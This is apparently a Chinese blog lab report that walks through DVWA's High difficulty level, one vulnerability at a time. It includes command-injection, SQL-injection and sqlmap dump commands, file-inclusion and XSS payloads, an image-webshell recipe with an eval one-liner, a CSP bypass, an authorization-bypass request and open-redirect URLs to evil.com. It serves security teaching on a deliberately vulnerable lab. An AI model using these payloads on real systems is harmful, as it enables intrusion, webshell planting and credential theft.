DVWA 靶场实验报告 (High Level)

DVWA 靶场实验报告 (High Level)

难度等级 :High 报告说明 :本文为 DVWA 靶场 High 难度下17个漏洞 的详细渗透测试步骤,包含漏洞原理、利用方法、工具操作及核心Payload,全程基于Burp Suite、Sqlmap等工具实现,所有操作步骤均配套实操截图 www.cnblogs.com/wrold

📑 目录

  1. Brute Force --- 暴力破解
  2. Command Injection --- 命令注入
  3. CSRF --- 跨站请求伪造
  4. File Inclusion --- 文件包含
  5. File Upload --- 文件上传
  6. Insecure CAPTCHA --- 不安全的验证码
  7. SQL Injection --- SQL 注入
  8. SQL Injection (Blind) --- SQL 盲注
  9. Weak Session IDs --- 弱会话 ID
  10. XSS (DOM) --- DOM 型跨站脚本
  11. XSS (Reflected) --- 反射型跨站脚本
  12. XSS (Stored) --- 存储型跨站脚本
  13. CSP Bypass --- CSP 策略绕过
  14. JavaScript Attacks --- JavaScript 攻击
  15. Authorisation Bypass --- 越权访问
  16. Open HTTP Redirect --- 开放重定向
  17. Cryptography --- 密码学

1. Brute Force --- 暴力破解

漏洞特点

High 难度新增时间延迟 +user_token 验证,token 明文显示在前端页面,需动态提取 token 配合爆破。

利用步骤

  1. 抓包 :通过Burp Suite抓取登录请求包,可见usernamepassworduser_token三个核心参数,token 为32位随机字符串。
  2. 定位token :查看前端页面源码,token 藏在<input type="hidden" name="user_token" value="xxx">中,可通过正则匹配提取。
  3. Burp 配置
    • 进入Intruder,选择Pitchfork 交叉爆破 ,标记passworduser_token为爆破位置;
    • 进入Settings,开启提取Grep项 ,正则表达式配置为value=(.*?)\/>\r\n,匹配前端的token值;
    • user_token的Payload类型选择递归提取 ,并填入初始请求的有效token (抓包获取的原始token)。
  4. 爆破设置 :将资源池发包最大次数改为1 (禁止并发,避免token失效),加载密码字典开始爆破。
  5. 结果分析 :按响应长度排序 ,长度与其他条目不同的即为正确密码(正确登录的响应页面与错误页面长度存在明显差异)。

核心注意点

抓包后禁止提前发包,否则token会刷新导致爆破失败,需保证初始token与爆破请求一致。


2. Command Injection --- 命令注入

漏洞特点

High 难度对管道符等命令分隔符做了黑名单过滤,但过滤代码存在空格书写错误,导致过滤失效,可构造无空格的命令拼接Payload。

漏洞代码分析

php 复制代码
if(isset($_POST['Submit'])){
    $target= trim($_REQUEST['ip']);
    $substitutions = array(
        // 过滤代码存在多余空格,导致过滤逻辑失效
    );
    $target=str_replace( array_keys( $substitutions ),$substitutions, $target );
    if(stristr(php_uname('s'),"Windows NT")){
        $cmd=shell_exec("ping ".$target);
    }else{
        $cmd=shell_exec("ping -c4 ".$target);
    }
    $html.="<pre>{$cmd}</pre>";
}

利用方法

直接构造无空格管道符拼接的Payload,绕过滤黑名单位置:

bash 复制代码
127.0.0.1|whoami

提交后成功执行系统命令,返回当前用户信息。


3. CSRF --- 跨站请求伪造

漏洞特点

High 难度新增user_token 验证 ,token 明文显示在前端HTML源码中,单纯构造CSRF链接无法绕过,需配合XSS漏洞提取token后组合攻击。

漏洞分析

  1. 抓包修改密码请求,可见URL中包含password_newpassword_confuser_token参数,token为必填项。
  2. 查看前端源码,user_token藏在隐藏输入框中,攻击者无法直接获取受害者的token,但可通过XSS注入脚本自动提取受害者的token 并拼接CSRF请求。

攻击思路

  1. 利用靶场中存在的XSS漏洞(如反射型、存储型),构造XSS脚本提取页面中的user_token
  2. 将提取的token拼接至CSRF修改密码的URL中;
  3. 诱导受害者点击包含XSS+CSRF的恶意链接,实现自动修改密码。

4. File Inclusion --- 文件包含

漏洞特点

High 难度对page参数做了关键词白名单过滤 (仅允许包含file/fie),但未限制伪协议,可通过file://伪协议实现任意文件读取。

漏洞代码分析

php 复制代码
$file=$_GET['page'];
if(!fnmatch("file,fie",$file)&&$file !="include.php"){
    echo "ERROR:File not found!";
    exit;
}

利用方法

构造file://伪协议Payload,指定本地文件绝对路径,实现任意目录文件读取:

ruby 复制代码
http://dvwa:8564/vulnerabilities/fi/?page=file://D:/1.php

拓展利用

若服务器开启php://伪协议相关配置,可结合php://filter实现源码读取:

bash 复制代码
http://dvwa:8564/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index.php

5. File Upload --- 文件上传

漏洞特点

High 难度做了多重过滤 :文件类型校验、文件大小限制、getimagesize()图片头校验,无法直接上传webshell,需制作图片马 配合文件包含漏洞实现webshell执行。

漏洞代码分析

php 复制代码
// 校验文件后缀、大小、是否为图片
if((strtolower($uploaded_ext) in $allowed_ext)&&($uploaded_size<100000)&&getimagesize($uploaded_tmp)){
    // 上传成功逻辑
}

利用步骤

  1. 制作图片马 :任意正常图片(如11.png)后拼接PHP一句话webshell,保留图片文件头 (避免getimagesize()校验失败)。 // 图片马制作(cmd命令) copy 1.png /b + shell.php /a 11.png 图片马内容示例:<?php phpinfo();?>(测试用)/<?php @eval($_POST['pass']);?>(一句话webshell)。
  2. 上传图片马 :直接上传制作好的11.png,靶场提示上传成功,返回文件路径../hackable/uploads/11.png
  3. 文件包含利用 :通过File Inclusion漏洞的file://伪协议,包含上传的图片马,执行PHP代码: http://dvwa:8564/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/11.png 访问后成功执行phpinfo(),证明图片马生效。

核心注意点

图片马必须保留合法图片头 ,否则getimagesize()会检测出非图片文件,导致上传失败。


6. Insecure CAPTCHA --- 不安全的验证码


7. SQL Injection --- SQL 注入

漏洞特点

High 难度新增会话弹窗验证 ,但注入核心逻辑未变,仍为字符型注入,可通过手工注入或Sqlmap实现数据提取。

利用步骤(手工注入)

  1. 判断注入类型
    • 输入1:正常返回数据;
    • 输入1':页面报错,说明为字符型注入 ,需用单引号闭合,注释符#截断语句。
  2. 验证注入点 :输入1' and 1=1 #,正常返回数据;输入1' and 1=2 #,无数据返回,注入点有效。
  3. 判断列数 :输入1' order by 2 #,正常返回;输入1' order by 3 #,报错,说明查询结果为2列
  4. 联合注入提取数据
    • 提取数据库名:-1' union select 1,database() #
    • 提取表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    • 提取字段名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    • 提取账号密码:-1' union select user,password from users #

利用步骤(Sqlmap自动化注入)

由于注入结果在第二个页面 展示,需使用--second-url参数指定结果页面,命令如下:

bash 复制代码
# 读取所有数据库
sqlmap -r D:\Backup\桌面\1.txt --dbs --batch --second-url=http://dvwa:8564/vulnerabilities/sqli/
# 读取users表数据
sqlmap -r D:\Backup\桌面\1.txt -D dvwa -T users -C user,password --dump --batch --second-url=http://dvwa:8564/vulnerabilities/sqli/

执行后成功提取数据库中所有账号和加密后的密码。


8. SQL Injection (Blind) --- SQL 盲注

漏洞特点

High 难度在时间盲注中加入随机sleep延迟rand(0,5)==3时触发2-4秒延迟),导致时间盲注失效,仅能使用布尔盲注 实现数据提取。

漏洞代码分析

php 复制代码
else {
    // 随机sleep,干扰时间盲注
    if(rand(0,5)==3){
        sleep(rand(2,4));
    }
}

利用步骤(Sqlmap自动化布尔盲注)

  1. 抓包 :抓取盲注请求包,发现注入点位于Cookie的id参数 中(id=1)。
  2. 指定布尔盲注 :使用--technique=B参数强制Sqlmap使用布尔盲注,结合--second-url指定结果页面,命令如下:
bash 复制代码
sqlmap -r D:\Backup\桌面\1.txt --dbs --batch --second-url="http://dvwa:8564/vulnerabilities/sqli_blind/" --technique=B
  1. 结果提取 :Sqlmap通过布尔盲注的页面回显差异,成功爆破出所有数据库名(dvwa、security、pikachu等)。

核心注意点

请求包中有多个参数时,避免同时标记多个注入点,逐个测试定位真实注入点(本次为Cookie的id参数)。


9. Weak Session IDs --- 弱会话 ID

漏洞特点

High 难度的dvwaSession参数为MD5加密的简单数字,可通过MD5解密构造有效会话ID,导致会话劫持。

利用步骤

  1. 查看Cookie :在浏览器开发者工具中查看Cookie,可见dvwaSession=b6d767d2f8ed5d21a44b0e5886680cb9
  2. MD5解密 :将dvwaSession的值进行MD5解密,结果为22(简单数字)。
  3. 构造会话ID :通过MD5加密连续数字(21、22、23、24...),生成大量有效dvwaSession值,尝试会话劫持。

漏洞危害

攻击者可通过构造弱会话ID,冒充其他用户登录系统,获取敏感信息。


10. XSS (DOM) --- DOM 型跨站脚本

漏洞特点

High 难度对default参数做了白名单过滤(仅允许French、English、German、Spanish),非白名单值会被重定向,可通过**#号**绕过服务器过滤(服务器不解析#后参数,前端DOM解析)。

漏洞代码分析

php 复制代码
if(array_key_exists("default",$_GET)&&!is_nulL($_GET['default'])){
    switch($_GET['default']){
        case "French":case "English":case "German":case"Spanish":
            break;
        default:
            header("Location:?default=English");
            exit;
    }
}

利用方法

构造Payload,白名单值+#号+XSS脚本,服务器仅解析#前的English,前端DOM解析#后的XSS脚本:

ruby 复制代码
http://dvwa:8564/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

访问后成功弹出弹窗,XSS利用成功。


11. XSS (Reflected) --- 反射型跨站脚本

漏洞特点

High 难度对<script>标签做了严格的正则过滤 (匹配任意变种的script关键字,如ScRiPt、script等),无法直接使用script标签,可通过事件型XSS绕过滤。

漏洞代码分析

php 复制代码
$name=preg_replace('/<(.*)s(.*)c(.*)(.)i(.*)p(.*)t/i',"",$_GET['name']);
$html.="<pre>hello{$name}</pre>";

利用方法

使用<img>标签的onerror事件构造无script的XSS Payload,触发弹窗:

ini 复制代码
<img src=x onerror=alert(1)>

提交后成功弹出弹窗,XSS利用成功。

拓展Payload

xml 复制代码
<div onmouseover=alert(1)>鼠标悬停触发</div>
<a href=javascript:alert(1)>点击触发</a>

12. XSS (Stored) --- 存储型跨站脚本

漏洞特点

High 难度对message字段做了多重过滤strip_tags+addslashes+htmlspecialchars),完全无法注入;对name字段仅过滤<script>标签,可在name字段构造事件型XSS,并修改前端输入框限制实现长Payload输入。

漏洞代码分析

php 复制代码
// message字段严格过滤
$message=strip_tags(addslashes( $message));
$message=htmlspecialchars ( $message);
// name字段仅过滤script标签
$name=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/i',"",$name);

利用步骤

  1. 修改前端输入限制name输入框默认有长度限制,通过浏览器开发者工具修改maxlength10000 ,允许输入长Payload。
  2. 构造Payload :在name字段输入<img>标签的onerror事件XSS Payload,message字段任意填写: :x:

3. 提交触发 :提交后留言簿中存储该Payload,任意用户访问留言簿页面时,自动弹出弹窗,存储型XSS利用成功。


13. CSP Bypass --- CSP 绕过

漏洞特点

High 难度配置了内容安全策略(CSP) ,仅允许加载self(自身域名)的脚本,禁止外部脚本和未授权内联脚本,但靶场自身代码存在逻辑漏洞 ,可通过自身的JSONP接口绕过CSP。

漏洞分析

  1. 查看响应头,CSP配置为:Content-Security-Policy: script-src 'self'
  2. 发现靶场存在JSONP接口/vulnerabilities/csp/source/jsonp.php?callback=xxx,该接口可接收任意callback参数并执行,且属于自身域名,符合CSP规则。
  3. 后端存在任意代码写入漏洞include参数可直接写入HTML/JS代码,无过滤。

利用方法

通过POST请求向include参数注入脚本,加载自身JSONP接口并执行XSS代码,Payload如下:

javascript 复制代码
include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>

操作步骤

  1. 打开Burp Suite的Repeater,构造POST请求,目标URL:http://dvwa:8564/vulnerabilities/csp/
  2. 请求体为application/x-www-form-urlencoded,参数:include=<script src="/vulnerabilities/csp/source/jsonp.php?callback=alert(1)"></script>
  3. 发送请求后,成功弹出弹窗,CSP绕过成功。

14. JavaScript Attacks --- JavaScript 攻击

漏洞特点

High 难度通过JavaScript加密算法 生成token,需提交正确的phrase+token才能通过验证,核心为分析加密逻辑并还原token生成过程。

加密逻辑分析

通过Burp抓包获取混淆的JS代码,反混淆 后得到3个核心加密函数,执行顺序为:token_part_1token_part_2(300ms延时) → token_part_3(点击提交触发)。

反混淆后核心JS代码
javascript 复制代码
// 字符串反转
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
// sha256(YY + token),High难度为XX
function token_part_2(e = "XX") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
// sha256(token + ZZ)
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
// 反转phrase赋值给token
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
// 执行顺序:先token_part_1,300ms后token_part_2,点击提交触发token_part_3
document.getElementById("phrase").value = "";
setTimeout(function() {token_part_2("XX")}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

利用方法(两种)

方法1:前端控制台手动执行加密函数
  1. 在输入框中填入正确的phrasesuccess

  2. 打开浏览器开发者工具控制台,按顺序执行加密函数:

    javascript 复制代码
    token_part_1("ABCD", 44);
    token_part_2("XX");

3. 点击提交按钮 ,触发token_part_3生成最终token,验证成功。

方法2:Python脚本还原加密过程,直接生成token

通过Python实现字符串反转+SHA256加密,直接生成最终token,构造POST请求提交。

Python加密脚本
python 复制代码
import hashlib

def do_something(e):
    """字符串反转"""
    return e[::-1]

def sha256(s):
    """SHA256 哈希计算"""
    return hashlib.sha256(s.encode()).hexdigest()

def calc_token(phrase="success"):
    # Step 1: token_part_1 - 反转phrase
    token = do_something(phrase)
    print(f"Step 1 (反转phrase): {token}")
    # Step 2: token_part_2 - sha256("XX" + token)
    token = sha256("XX" + token)
    print(f"Step 2 (sha256 XX+token): {token}")
    # Step 3: token_part_3 - sha256(token + "ZZ")
    token = sha256(token + "ZZ")
    print(f"Step 3 (sha256 token+ZZ): {token}")
    return token

if __name__ == "__main__":
    phrase = "success"
    token = calc_token(phrase)
    print(f"\n最终token: {token}")
    print(f"POST数据: phrase={phrase}&send=Submit&token={token}")
执行脚本

运行后生成最终token,通过Burp构造POST请求提交,验证成功。


15. Authorisation Bypass --- 越权访问

漏洞特点

High 难度对前端页面做了管理员权限校验 (非admin用户访问提示403),但对后端接口文件change_user_details.php未做鉴权,可直接发送JSON请求修改任意用户信息。

漏洞代码分析

php 复制代码
// 前端页面权限校验
![](https://cdn.jsdelivr.net/gh/Tjsdrj/BlogImage@main/img/20260303174017788.png)
if (dvwaCurrentUser() !="admin"){
    print "Unauthorised";
    http_response_code(403);
    exit;
}
// 后端接口change_user_details.php 无任何鉴权逻辑

利用方法

直接向change_user_details.php发送JSON格式的POST请求,修改任意用户的id、姓名等信息:

  1. 目标URL:http://dvwa:8564/vulnerabilities/authbypass/change_user_details.php

  2. 请求头:Content-Type: application/json

  3. 请求体(JSON):

    json 复制代码
    {"id":3,"first_name":"hacked","surname":"hacked"}

4. 发送请求后,返回{"result":"ok"},用户信息修改成功。


16. Open HTTP Redirect --- 开放重定向

漏洞特点

High 难度对redirect参数做了关键字匹配过滤 (仅允许包含info.php),但未限制info.php的位置,可构造包含info.php的恶意URL,实现任意地址重定向。

漏洞代码分析

php 复制代码
if (array_key_exists("redirect",$_GET) && $_GET['redirect']!=""){
    if(strpos($_GET['redirect'],"info.php")==false){
        http_response_code(500);
        echo "<p>You can only redirect to the info page.</p>";
        exit;
    }else{
        // 重定向逻辑
        header("Location: ".$_GET['redirect']);
    }
}

利用方法

构造包含info.php的恶意URL,绕过滤后将受害者重定向到钓鱼网站/恶意站点,核心Payload示例:

ini 复制代码
# Payload1:参数后拼接info.php
?redirect=https://evil.com/?x=info.php
# Payload2:子域名中包含info.php
?redirect=https://evil.com/info.php.attacker.com/
# Payload3:锚点后拼接info.php
?redirect=https://attacker.com#info.php

漏洞危害

攻击者诱导受害者点击恶意链接,受害者在信任的dvwa域名下被重定向到恶意站点,导致钓鱼、账号窃取等攻击。


17. Cryptography --- 密码学


相关推荐
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954486 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star6 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全